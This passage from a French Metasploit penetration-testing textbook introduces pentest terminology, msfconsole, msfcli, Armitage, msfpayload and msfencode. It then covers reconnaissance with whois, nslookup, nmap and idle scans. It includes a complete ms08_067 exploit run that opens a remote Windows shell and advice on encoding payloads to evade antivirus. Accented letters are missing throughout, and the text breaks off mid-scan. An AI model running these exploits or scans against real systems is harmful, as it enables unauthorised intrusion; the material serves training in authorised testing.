Quand vous travaillez avec le Metasploit Framework (MSF) pour la
premire fois, vous pouvez vous sentir noy par ses nombreuses
interfaces, options, outils, variables et modules. Dans ce chapitre, nous
nous intresserons aux bases qui vous aideront mieux comprendre le
tout. Nous passerons en revue quelques termes du pentest, puis nous
verrons brivement les diffrentes interfaces utilisateur disponibles.
Metasploit est gratuit, open source, port par de nombreux contributeurs
du domaine de la scurit informatique, mais deux versions commerciales
sont aussi disponibles.
Lors de la premire utilisation de Metasploit, il est important de ne pas
sattarder sur les plus rcents exploits, mais plutt de comprendre
comment Metasploit fonctionne et quelles commandes vous utilisez pour
rendre un exploit possible.
Terminologie
Dans ce livre, nous utiliserons beaucoup de termes quil convient dabord
dexpliquer. La majorit des termes lmentaires qui suivent sont dfinis
dans le contexte de Metasploit, mais sont gnralement admis dans
lindustrie de la scurit informatique.
Exploit
Un exploit est le moyen par lequel un attaquant, ou un pentester en
loccurrence, profite dun dfaut dans un systme, une application ou un
service. Un attaquant utilise un exploit pour attaquer un systme de faon
lui faire produire un certain rsultat que les dveloppeurs navaient pas
envisag. Les exploits courants sont le buffer overflow (dpassement de
tampon), les vulnrabilits web (injections SQL, par exemple) et les
erreurs de configuration.
Payload
Un payload est un code que nous voulons faire excuter par le systme et
qui sera slectionn et dlivr par le framework. Par exemple, un reverse
shell est un payload qui cre une connexion depuis la cible vers
lattaquant, tel quune invite de commande Windows (voir Chapitre 5),
alors quun bind shell est un payload qui "attache" une invite de
commande lcoute dun port sur la machine cible, afin que lattaquant
puisse alors se connecter. Un payload peut tre galement quelque chose
daussi simple que quelques commandes excuter sur la machine cible.
Shellcode
Un shellcode est une suite dinstructions utilises par un payload lors de
lexploitation. Il est typiquement crit en langage assembleur. Dans la
plupart des cas, une invite de commande systme (un "shell") ou une
invite de commande Meterpreter ("Meterpreter shell") est utilise aprs
quune srie dinstructions a t accomplie par la machine, do le nom.
Module
Un module, dans le contexte de ce livre, est une part de logiciel qui peut
tre utilise par le framework Metasploit. Parfois, vous aurez besoin
dutiliser un module dexploit, un composant logiciel qui porte lattaque.
Dautres fois, un module auxiliaire pourra tre requis pour effectuer une
action telle que le scan ou lnumration de systmes. Cette modularit
est ce qui rend Mtasploit si puissant.
Listener
Un listener est un composant de Metasploit qui attend une connexion
entrante de tout type. Par exemple, aprs que la cible a t exploite, elle
peut communiquer avec lattaquant via Internet. Le listener gre cette
connexion, attendant sur la machine attaquante dtre contact par la
machine exploite.
Metasploit offre plus dune interface ses fonctionnalits sous-jacentes,
incluant la console, la ligne de commande et linterface graphique. En
plus de ces interfaces, des utilitaires fournissent un accs direct des
fonctions qui sont normalement internes au framework. Ces utilitaires
peuvent tre prcieux pour le dveloppement dexploits et les situations
dans lesquelles vous navez pas besoin de la flexibilit de tout le
framework Metasploit.
MSFconsole
Msfconsole est de loin la partie la plus populaire du framework
Metasploit, et ce juste titre. Cest un des outils les plus flexibles, les plus
complets et les plus supports de tout le framework Metasploit.
Msfconsole fournit une interface pratique tout-en-un pour quasiment
toutes les options et tous les rglages disponibles ; cest comme un
magasin unique o vous trouveriez tous les exploits dont vous rvez. Vous
pouvez utiliser msfconsole pour tout faire : lancer un exploit, charger un
module auxiliaire, faire une numration, crer des listeners ou lancer
une exploitation massive contre tout un rseau.
Malgr lvolution constante du framework Metasploit, une srie de
commandes sont restes relativement stables. En matrisant les bases de
msfconsole, vous serez capable de vous adapter tout changement. Pour
illustrer limportance de lapprentissage de msfconsole, nous lutiliserons
dans pratiquement tous les chapitres du livre.
Dmarrer MSFconsole
Pour lancer msfconsole, entrez msfconsole dans linvite de commande :
root@bt:/# cd /opt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >
------------

\

,__,

\ (oo)____

(__) )\

||--|| *
msf>

Pour accder au fichier daide de msfconsole, entrez help suivi de la
commande qui vous intresse. Dans lexemple qui suit, nous cherchons de
laide pour la commande connect, qui permet de communiquer avec un
hte. Laide prsente alors une description de loutil, son usage et les
diffrentes options dfinir.
msf > help connect
Nous explorerons la console de plus ample faon dans les chapitres
venir.
MSFcli
Msfcli et msfconsole prsentent deux faons radicalement diffrentes
daccder au framework. Alors que msfconsole prsente une faon
interactive daccder toutes les options de faon intuitive, msfcli est
plus axe sur le scriptage et linterprtation des autres outils bass sur la
console. Msfcli supporte aussi le lancement dexploits et de modules
auxiliaires, et peut tre pratique lors de lessai de modules ou du
dveloppement de nouveaux exploits pour le framework. Cest un outil
fantastique pour exploiter de faon unique, lorsque vous savez de quels
exploits et options vous aurez besoin. Il laisse moins de place lerreur
que msfconsole mais il offre des aides basiques (dont lusage et la liste
des modules) avec la commande msfcli -h, comme montr ci-aprs :
root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
===========================================================================
Mode
----
Description
---------------
(H)elp Youre looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
root@bt:/opt/framework3/msf3#
Exemple dutilisation
Regardons comment il est possible dutiliser msfcli. Ne prtez pas
attention aux dtails, ces exemples sont seulement censs vous montrer
comment il est possible de travailler avec cette interface.
Quand vous commencez lapprentissage de Metasploit, ou quand vous
tes bloqu, vous pouvez voir les options disponibles pour un module en
ajoutant la lettre O la fin de la chane o vous tes bloqu. Dans
lexemple suivant, nous lutilisons pour voir les options disponibles avec le
module ms08_067_netapi :
root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name
Current
Setting
Required Description
----
-------------
--
-------- -----------
RHOST 0.0.0.0 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes
The pipe name to use (BROWSER,
SRVSVC)
Vous pouvez voir que le module ncessite trois options : RHOST, RPORT
et SMPIPE. Maintenant, en ajoutant la lettre P, on peut vrifier les
payloads disponibles :
root@bt:/# msfcli windows/smb/ms08_067_netapi
RHOST=192.168.1.155 P
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap
Generate a debug trap in the target
process
generic/shell_bind_tcp
Listen for a connection and spawn a
command shell
Ds lors que toutes les options sont configures et quun payload est
slectionn, nous pouvons lancer notre exploit en ajoutant E la fin de la
chane darguments de msfcli :
root@bt:/# msfcli windows/smb/ms08_067_netapi
RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*]
Command shell session 1 opened (192.168.1.101:46025 ->
192.168.1.155:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
Cest un succs, car nous avons ouvert une invite de commande Windows
sur le systme distant.
Armitage
La composante armitage de Metasploit est une interface utilisateur
entirement graphique et interactive cre par Raphael Mudge. Cette
interface est trs impressionnante, riche en fonctionnalits et disponible
gratuitement. Nous ne la traiterons pas en profondeur, mais il est
important de mentionner quelque chose qui mrite dtre explor. Notre
but est denseigner les tenants et les aboutissants de Metasploit ;
linterface graphique est gniale ds lors que vous comprenez comment
le framework fonctionne.
Excution dArmitage
Pour lancer Armitage, excutez la commande armitage. Lors du
dmarrage, slectionnez Start MSF, ce qui permettra Armitage de se
connecter une instance Metasploit.
root@bt:/opt/framework3/msf3# armitage
Aprs lexcution darmitage, il suffit de cliquer sur une des
fonctionnalits prsentes dans le menu pour procder une attaque
particulire ou accder aux autres fonctionnalits.
Par exemple, la Figure 2.1 montre le menu des exploits (ct client).
Figure 2.1
Le menu exploit du navigateur darmitage.
Nous avons vu les trois principales interfaces de Metasploit, il est temps
maintenant de parcourir quelques utilitaires. Ce sont des interfaces
directes, aux caractristiques particulires, qui peuvent tre utiles dans
des situations spcifiques, en particulier dans le dveloppement
dexploits. Nous allons en dcouvrir quelques-uns parmi les plus
accessibles puis en introduire des supplmentaires tout au long du livre.
MSFpayload
La composante msfpayload permet de gnrer un shellcode, des
excutables et bien plus encore dans lutilisation dexploits hors du
framework.
Du shellcode peut tre gnr dans de nombreux langages C, Ruby,
JavaScript et mme VBA (Visual Basic for Applications). Chaque format
de sortie sera utile dans diverses situations. Par exemple, si vous travaillez
sur une dmonstration mthodique utilisant Python, une sortie en C serait
la meilleure. Si vous travaillez sur un exploit relatif au navigateur, un
format de sortie en JavaScript parat judicieux. Une fois que vous avez
choisi votre format de code prfr, vous pouvez facilement insrer
directement le payload dans un fichier HTML pour dclencher lexploit.
Pour voir les options employes par lutilitaire, entrez msfpayload -h en
ligne de commande, comme illustr ici :
root@bt:/# msfpayload -h
Comme avec msfcli, si vous vous retrouvez coinc sur les options
requises pour un module de payload, ajoutez la lettre O sur la ligne de
commande pour obtenir une liste des variables requises et facultatives :
root@bt:/# msfpayload windows/shell_reverse_tcp O
Nous nous plongerons plus profondment dans msfpayload et dans le
dveloppement dexploits au cours des chapitres suivants.
MSFencode
Le shellcode gnr par msfpayload est pleinement fonctionnel, mais il
contient plusieurs caractres nuls qui, lorsquils sont interprts par de
nombreux programmes, signifient la fin dune chane. Cela provoquera
larrt du code avant la fin. En dautres termes, ces x00s et xffs peuvent
empcher votre payload de fonctionner !
De surcrot, un shellcode traversant un rseau en clair est susceptible
dtre remarqu par les systmes de dtection dintrusion (IDS) et les
logiciels antivirus. Pour rsoudre ce problme, les dveloppeurs de
Metasploit offrent msfencode, qui aide viter les "mauvais" caractres
et chapper aux antivirus et aux IDS en encodant le payload original
dune manire qui ne prend pas en compte les mauvais caractres.
Entrez msfencode -h pour voir la liste des options de msfencode.
Metasploit contient un certain nombre dencodeurs adapts diffrentes
situations. Certains seront intressants lorsque vous ne pourrez utiliser que
des caractres alphanumriques dans le cadre dun payload, comme
cest le cas avec les exploits lis aux formats de fichiers ou dautres
applications qui acceptent des caractres imprimables uniquement en
entre, tandis que dautres sont des encodeurs usage gnral qui
fonctionnent bien dans toutes les situations.
En cas de doute, cependant, vous ne pouvez vraiment pas vous tromper
en choisissant lencodeur x86/shikata_ ga_nai, le seul encodeur not
"excellent", une mesure de la fiabilit et de la stabilit dun module. Dans
le contexte dun encodeur, un classement excellent signifie que cest lun
des encodeurs les plus polyvalents offrant des capacits de configurations
plus fines. Pour voir la liste des encodeurs disponibles, ajoutez -l
msfencode comme illustr ci-aprs. Les payloads sont classs par ordre
de fiabilit.
root@bt:~# msfencode -l
Nasm Shell
Lutilitaire nasm_shell.rb peut tre utile lorsque vous essayez danalyser
du code en langage assembleur, surtout si, au cours du dveloppement de
lexploit, vous avez besoin didentifier les opcodes (codes opration)
pour une instruction assembleur donne.
Par exemple, ici nous excutons loutil et demandons les opcodes pour
linstruction assembleur jmp esp : nasm_shell nous dit que cest FFE4.
root@bt:/opt/framework3/msf3/tools# ./nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
Metasploit Express et Metasploit Pro sont des interfaces web
commerciales pour le framework Metasploit. Ces utilitaires permettent
une automatisation substantielle et facilitent les choses pour les nouveaux
utilisateurs, tout en offrant un accs complet au framework. Les deux
produits offrent galement des outils qui ne sont pas disponibles dans les
ditions communautaires du framework, comme les attaques
automatiques de type brute force sur les mots de passe et les attaques
automatises sur sites Internet. De plus, un rapport back-end pour
Metasploit Pro peut acclrer lun des aspects les moins populaires du
pentest : la rdaction de rapport.
Ces outils mritent-ils leur prix ? Cest vous de voir. Les ditions
commerciales de Metasploit sont destines aux pentesters professionnels
et peuvent faciliter les tches les plus monotones du travail, mais si le gain
de temps offert par lautomatisme de ces produits commerciaux est utile
pour vous, il pourrait justifier le prix dachat.
Si vous automatisez votre travail, gardez bien lesprit que les humains
demeurent meilleurs pour identifier les vecteurs dattaque que des outils
automatiss.
Conclusion
Dans ce chapitre, vous avez appris une petite partie des bases du
framework Metasploit. Au fur et mesure de votre lecture, vous
commencerez vous servir de ces outils de manire beaucoup plus
avance. Vous trouverez plusieurs faons daccomplir les mmes tches
laide de diffrents outils. Ce sera finalement vous de dcider quel
outil correspondra au mieux vos besoins.
Maintenant que vous avez acquis les bases, passons la phase suivante
du processus de pentesting : la dcouverte.
3
Sommaire
Collecte dinformations passive
Collecte dinformations active
Scan cibl
Dveloppement dun scanner personnalis
Perspectives davenir
La collecte de renseignements est la deuxime tape du PTES. Au cours
de cette phase, votre objectif sera dobtenir des informations prcises sur
votre cible sans pour autant rvler votre prsence ou vos intentions,
dapprendre comment fonctionne la socit et de dterminer la meilleure
faon dy pntrer.
Si votre travail nest pas assez minutieux durant la collecte de
renseignements, vous risquez de manquer des systmes vulnrables ou
des vecteurs dattaque viables. Il vous faut du temps et de la patience
pour faire le tri des pages web, faire du Google hacking et dresser une
carte prcise afin de comprendre linfrastructure dune cible
particulire.
La collecte de renseignements exige une prparation prudente, des
recherches et, plus important encore, la facult de penser tel un
attaquant. ce stade, vous essayerez de rassembler autant
dinformations que possible sur votre cible. Ce peut tre une quantit
importante de donnes, et mme les informations les plus insignifiantes
peuvent se rvler utiles plus tard ; soyez donc vigilant.
Avant mme de commencer la collecte, tenez compte de la manire dont
vous enregistrerez tout ce que vous ferez et les rsultats que vous
obtiendrez.
Vous devez vous rappeler et noter autant de dtails que possible sur vos
tests. La plupart des professionnels de la scurit apprennent rapidement
que des notes dtailles font la diffrence entre un test dintrusion russi
et un test chou.
Vos rsultats doivent tre dtaills pour que dautres pentesters puissent
reproduire votre travail en utilisant seulement votre documentation.
La collecte dinformations est probablement laspect le plus important
dun test de pntration car elle fournit la base de tout le travail suivant
cette tape. Il vous faut aussi tre mthodique, exact et prcis lors de la
prise de notes.
Avant de dclencher aveuglment une masse dexploits, soyez sr
davoir appris tout ce que vous pouvez propos de votre cible. La plupart
des gens sont excits surtout lors de lexploitation dun systme, du fait
davoir tous les droits administrateur de ce systme, mais vous devez
apprendre marcher avant de courir.
Avertissement
En suivant les procdures de ce chapitre, vous pourriez ventuellement
endommager votre systme ainsi que celui de votre cible aussi,
assurez-vous de mettre en place un environnement de test (rfrez-vous
lannexe A, "Configurer les machines cibles", pour plus
dinformations). Beaucoup dexemples cits dans ces chapitres peuvent
avoir un effet dvastateur et rendre le systme cible inutilisable.
Les activits prsentes dans ce chapitre peuvent tre considres
comme illgales si elles sont entreprises par une personne ayant de
mauvaises intentions, suivez les rgles et ne soyez pas stupide.
En collectant des informations passivement et indirectement, vous pouvez
dcouvrir des informations sur vos cibles sans toucher leurs systmes.
Vous pouvez identifier larchitecture et les responsables du rseau et
mme savoir quel systme dexploitation et quel type de serveur Web est
utilis sur le rseau cible.
Open source intelligence (OSINT) est une forme de collecte
dinformations durant laquelle on utilise les informations libres ou
aisment disponibles pour trouver, choisir et acqurir des renseignements
sur la cible. Plusieurs outils rendent la collecte dinformation passive non
fastidieuse, y compris des outils complexes tels que Yeti ou encore
lhumble whois.
Au fil de cette section, nous explorerons le processus de collecte
dinformations passive ainsi que les outils dont vous pourriez vous servir.
Imaginez, par exemple, une attaque contre http://www.secmaniac.net/.
Notre but est de dterminer, dans un premier temps, quels systmes sont
utiliss par la socit et quels systmes nous pouvons attaquer. Certains
systmes peuvent ne pas appartenir la socit et pourraient alors tre
considrs comme hors de porte de lattaque.
whois lookups
Commenons en utilisant whois via Back|Track pour trouver les noms de
domaines des serveurs de secmaniac.net.
msf > whois secmaniac.net
[*] ec: whois secmaniac.net
. . . SNIP . . .
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10
Domain servers in listed order:
NS57.DOMAINCONTROL.COM
NS58.DOMAINCONTROL.COM
Nous apprenons en que les serveurs DNS (Domain Name System) sont
hbergs par domaincontrol.com. Cest un bon exemple des systmes qui
ne seraient pas inclus dans un test de pntration puisque nous naurions
aucun droit de les attaquer. Dans la plupart des grandes socits, les
serveurs DNS sont logs dans la socit mme et sont des vecteurs
dattaque viables.
Les transferts de zones et les autres attaques DNS semblables peuvent
souvent tre utiliss pour en apprendre plus sur un rseau depuis
lintrieur et depuis lextrieur. Dans ce scnario, puisque
domaincontrol.com nappartient pas secmaniac.net, nous ne devrions
pas attaquer ces systmes et, au lieu de cela, passer un autre vecteur
dattaque.
Netcraft
Netcraft (http://searchdns.netcraft.com/) est un outil web permettant de
trouver ladresse IP dun serveur hbergeant un site web particulier (voir
Figure 3.1).
Figure 3.1
Utilisez Netcraft pour trouver ladresse IP du serveur hbergeant un site
web particulier.
Ayant identifi ladresse IP de secmaniac.net, 75.118.185.142, nous
utilisons une nouvelle fois whois sur cette mme adresse IP :
msf > whois 75.118.185.142
[*] exec: whois 75.118.185.142
WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118.0.0 - 75.118.255.255
WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-
184-0-1)
75.118.184.0 - 75.118.191.255
Nous constatons que, daprs une rapide recherche whois, cette adresse
IP (WIDEOPENWEST) semble correspondre un prestataire de
services lgitime. Puisque la plage du sous-rseau nest pas
spcifiquement enregistre au nom de secmaniac.net ni de
secmaniac.com, nous pouvons juger que ce site semble tre hberg chez
son propritaire, tant donn que la plage dont fait partie lIP semble
faire partie dune plage rsidentielle.
NSLookup
Pour obtenir de plus amples informations sur le serveur, nous utiliserons
nslookup sous Back|Track (cet outil se trouve dans la plupart des
systmes dexploitation) pour trouver des informations sur secmaniac.net.
root@bt:~# nslookup
set type=mx
> secmaniac.net
Server: 172.16.32.2
Address: 172.16.32.2#53

Non-authoritative answer:
secmaniac.net mail exchanger = 10 mailstore1.secureserver.net.
secmaniac.net mail exchanger = 0 smtp.secureserver.net.
Nous constatons que les serveurs mail pointent vers
mailstore1.secureserver.net et smtp.secureserver.net. Une rapide
recherche sur ces serveurs montre quun tiers hberge ce site web, ce
qui ne rentrerait pas dans le cadre de notre pentest.
ce stade, nous avons rassembl quelques informations que nous
pourrions utiliser contre la cible par la suite. Cependant, nous devons
recourir aux techniques de collecte dinformations actives pour
dterminer ladresse IP relle de la cible, cette dernire tant
75.118.185.142.
Note
La collecte dinformations passive est un art quon ne se matrise pas en
lisant seulement quelques pages. Jetez un il au PTES (Penetration
Testing Execution Standard http://www.pentest-standard.org/) pour voir
une liste des manires dexcuter une collecte dinformations passive.
Durant la collecte dinformations active, nous interagissons directement
avec un systme pour en apprendre plus sur celui-ci. Nous pourrions, par
exemple, effectuer des scans de ports pour trouver ceux qui sont ouverts
sur la cible ou pour dterminer les programmes en cours dexcution.
Chaque systme ou programme que nous dcouvrirons offre une nouvelle
occasion pour la phase dexploitation. Cependant, prenez garde : si vous
tes ngligeant pendant la collecte dinformations active, vous pourriez
vous faire reprer par un IDS (Intrusion Detection System) ou un IPS
(Intrusion Prevention System), ce qui nest videmment pas une bonne
opration pour un pentester discret.
Le scan de ports avec Nmap
Ayant identifi la plage dIP cible ainsi que celle de secmaniac.net durant
la collecte dinformations passive, nous pouvons commencer les
scanner pour trouver des ports ouverts. Cest le processus au cours
duquel nous nous connectons judicieusement aux ports de lhte distant
pour identifier ceux qui sont actifs (videmment, dans une plus grande
entreprise, nous aurions plusieurs plages dIP attaquer au lieu dune
seule).
Nmap est, de loin, loutil de scan de ports le plus populaire. Il sintgre
lgamment dans Metasploit, stockant le bilan du scan dans une base de
donnes pour une utilisation ultrieure. Nmap vous laisse scanner des
htes pour identifier les services en cours dexcution sur chacun deux,
nimporte lequel pourrait offrir une porte dentre.
Pour cet exemple, mettons de ct secmaniac.net et dirigeons-nous vers
la machine virtuelle dcrite dans lannexe A, dont ladresse IP est
172.16.32.131. Avant que nous ne commencions, jetons un rapide coup
dil la syntaxe de base de nmap depuis la ligne de commande sur
votre machine Back|Track.
Vous constaterez immdiatement que nmap prsente nombre doptions,
mais vous nen utiliserez que quelques-unes la plupart du temps.
Une de nos options prfres est -sS. Elle excute un scan TCP discret
qui dtermine si un port TCP est ouvert ou non. Une autre option est -Pn
qui demande nmap de ne pas utiliser de requtes ping pour dterminer
si le systme est fonctionnel ; au lieu de cela, il considrera tous les htes
comme "vivants". Si vous excutez des pentests travers Internet, vous
devriez utiliser cette option, puisque la plupart des rseaux nautorisent
pas les requtes ICMP (Internet Control Message Protocol), qui est le
protocole utilis par ping. Si vous effectuez un test localement, vous
pouvez probablement ignorer cette option.
Excutons, maintenant, un rapide scan nmap contre notre machine sous
Windows XP en utilisant les options -Pn et -sS.
root@bt:~# nmap -sS -Pn 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.00057s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
3389/tcp open ms-term-serv
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
Comme vous pouvez le voir, nmap liste les ports ouverts avec une
description du service associ chacun deux. Pour plus de dtails,
essayez loption -A. Cette dernire essaiera dnumrer les services et
tentera den rcuprer les bannires, ce qui pourra vous donner encore
plus de dtails sur le systme cible. Par exemple, voici ce que nous
verrions si nous excutions nmap avec les options -sS et -A sur notre
mme systme cible :
root@bt:~# nmap -Pn -sS -A 172.16.32.131
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open
netbios-ssn

445/tcp open
microsoft-
ds
Microsoft Windows XP microsoft-ds
777/tcp open unknown
Microsoft SQL Server 2005 9.00.1399;
RTM

. . . SNIP . . .

Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server
2003
Network Distance: 1 hop
Service Info: OS: Windows

Host script results:
|_nbstat: NetBIOS name: V-MAC-XP, NetBIOS user: <unknown>,
NetBIOS MAC:
00:0c:29:c9:38:4c (VMware)
|_smbv2-enabled: Server dsnt support SMBv2 protocol
| smb-os-discovery:

| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\V-MAC-XP
Travailler avec des bases de donnes dans Metasploit
Lors dun pentest complexe visant une multitude de cibles, assurer un
suivi des actions peut tre un dfi. Heureusement, les dveloppeurs de
Metasploit ont pens intgrer un systme de bases de donnes multiples
pour pallier ce problme.
Pour vous assurer que ce systme est disponible sur votre machine, vous
devez dabord choisir le systme de bases de donnes dont vous aurez
besoin. Metasploit supporte MySQL et PostgreSQL. Puisque PostgreSQL
est celui utilis par dfaut, nous lutiliserons tout au long de ce livre.
Nous commenons par lancer le sous-systme de la base de donnes
laide des scripts init.d printegrs Back|Track.
root@bt~# /etc/init.d/postgresql-8.3 start
Une fois que PostGreSQL est lanc, on demande au framework de se
connecter la base de donnes. Cette connexion exige un nom
dutilisateur, un mot de passe, le nom dhte sur lequel se trouve la base
de donnes ainsi que le nom de cette dernire. Par dfaut, Back|Track
utilise postgres comme nom dutilisateur et toor pour mot de passe ;
cependant, nous nommerons notre base de donnes msfbook. Passons la
connexion.
msf > db_connect postgres:toor@127.0.0.1/msfbook
Si cest la premire fois que vous vous connectez la base de donnes,
vous verrez beaucoup de texte dfiler lcran puisque Metasploit va
mettre en place les tables ncessaires. Sinon, vous retournerez linvite
de commande msfconsole.
Metasploit fournit un certain nombre de commandes que nous pouvons
utiliser pour interagir avec la base de donnes comme vous le verrez
dans la suite de ce livre (pour une liste complte, tapez help). Pour le
moment, nous utiliserons db_status pour nous assurer que nous nous
sommes correctement connects la base de donnes.
msf > db_status
[*] postgresql connected to msfbook
Tout semble tre configur comme il se doit.
Importer les rsultats de Nmap dans Metasploit
Quand on travaille plusieurs, diffrents moments et diffrents
endroits, savoir excuter nmap sans recourir Metasploit pour ensuite
importer les rsultats obtenus peut savrer utile. Nous verrons ensuite
comment importer le fichier XML en question, gnr en utilisant loption
-oX.
Nous scannons dabord la machine virtuelle Windows en ajoutant
loption -oX pour gnrer un fichier Subnet1.xml :
nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24
Nous utiliserons ensuite la commande db_import pour importer les
rsultats dans la base de donnes. Nous pouvons vrifier que tout sest
droul comme prvu en utilisant la commande db_hosts qui liste les
systmes scanns, comme indiqu ci-aprs :
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address

Hosts
=====

address

-------

192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192.168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192.168.1.2
192.168.1.99

msf >
Cela montre que limportation sest droule avec succs, comme en
tmoignent les adresses IP, affiches en excutant la commande
db_hosts.
Scan Nmap avanc : TCP Idle Scan
Une mthode plus avance de scan en utilisant nmap est le scan TCP
furtif qui permet dexcuter un scan furtif de la cible en usurpant
ladresse IP dune autre machine sur le rseau. Pour que ce type de scan
fonctionne, nous devons dabord localiser un hte inactif sur un rseau
qui utilise des IP IDs (numros de squence servant suivre lordre des
paquets) qui sincrmentent. Lorsquon dcouvre un systme inactif qui
utilise des IP IDs qui sincrmentent, les IP IDs deviennent prvisibles et
nous pouvons ds lors prdire le prochain ID. Cependant, en scannant les
rponses de la cible sur les ports ouverts tout en usurpant lIP dun hte
inactif, on peut constater une rupture concernant la prvisibilit des
numros de squence IP ID, ce qui indique quon a trouv un port ouvert
(pour en apprendre plus sur ce module et les numros de squence IP ID,
visitez http://www.metasploit.com/modules/auxiliary/scanner/ip/ipidseq/).
Utilisez le module scanner/ip/ipidseq du framework pour scanner un hte
qui convient aux exigences du scan TCP Idle :
msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options:

Name Current Setting Required Description
---- ------- ------- -------- -----------
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
RHOSTS yes
The target address range
or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes
The number of bytes to
capture
THREADS 1 yes
The number of concurrent
threads
TIMEOUT 500 yes
The reply read timeout in
milliseconds
Sont affiches les options requises pour le scan ipidseq. Parmi celles-ci,
une notable, RHOSTS en , peut prendre des plages dIP telles que
192.168.1.20-192.168.1.30, des plages CIDR (Classless Inter-Domain
Routing) telles que 192.168.1.0/24, des plages multiples spares par des
virgules comme 192.168.1.0/24, 192.168.3.0/24 et un fichier texte avec un
hte par ligne (par exemple, file:/tmp/hostlist.txt). Toutes ces options
donnent un aperu de la flexibilit permise pour spcifier nos cibles.
Loption THREADS en indique le nombre de threads simultans utiliss
durant le scan. Par dfaut, tous les modules de scanners ont, pour loption
THREADS, une valeur initiale 1. Nous pouvons soit augmenter cette
valeur soit labaisser pour, respectivement, acclrer nos scans ou
rduire le trafic rseau. En gnral, vous ne devriez pas augmenter la
valeur de loption THREADS plus de 16 en excutant Metasploit sur
Windows et 128 sur des systmes UNIX.
Passons maintenant lexcution. Pour cet exemple, nous utiliserons les
valeurs 192.168.1.0/24 pour RHOSTS et 50 pour THREADS. Lanons le
scan.
msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run

[* 192.168.1.1s IPID sequence class: All zeros
[*] 192.168.1.10s IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116s IPID sequence class: All zeros
[*] 192.168.1.184s IPID sequence class: Randomized
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) >
Les rsultats du scan montrent un certain nombre dhtes inactifs
potentiels que nous pourrions utiliser. Nous essayerons de scanner un hte
en utilisant le systme (192.168.1.109 ) avec loption -sI pour spcifier
lhte inactif :
msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155

Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class:
Incremental
Interesting ports on 192.168.1.155:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E4:59:7C (VMware)
msf auxiliary(ipidseq) >
En utilisant lhte inactif, nous avons pu dcouvrir un certain nombre de
ports ouverts sur le systme cible sans lui envoyer un seul paquet.
Excution de nmap depuis msfconsole
Maintenant que nous avons numr les ports ouverts sur notre cible,
connectons nmap Metasploit. Pour ce faire, nous nous connectons
dabord la base de donnes msfbook :
Nous devrions tre capables dentrer la commande db_nmap directement
depuis msfconsole pour stocker automatiquement les rsultats de nmap
dans notre nouvelle base de donnes.
Note
Durant cette partie, nous nattaquerons quun seul systme mais vous
pouvez spcifier plusieurs IPs en utilisant la notation CIDR ou mme les
plages dIPs (par exemple, 192.168.1.1/24 ou 192.168.1.1-254).
msf > db_nmap -sS -A 172.16.32.131

Warning: Traceroute does not support idle or connect scan, disabling...
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
|_html-title:
443/tcp open https?
445/tcp open
microsoft-
ds
Microsoft SQL Server 2005
9.00.1399; RTM
3389/tcp open
microsoft-
rdp
Microsoft Terminal Service
MAC Address: 00:0C:29:EA:26:7C (VMware)
OS details: Microsoft Windows XP Professional SP2 or Windows Server
2003
Service Info: Host: ihazsecurity; OS: Windows

|_nbstat: NetBIOS name: IHAZSECURITY, NetBIOS user:
<unknown>, NetBIOS MAC: 00:0c:29:ea:26:7c
| smb-os-discovery:
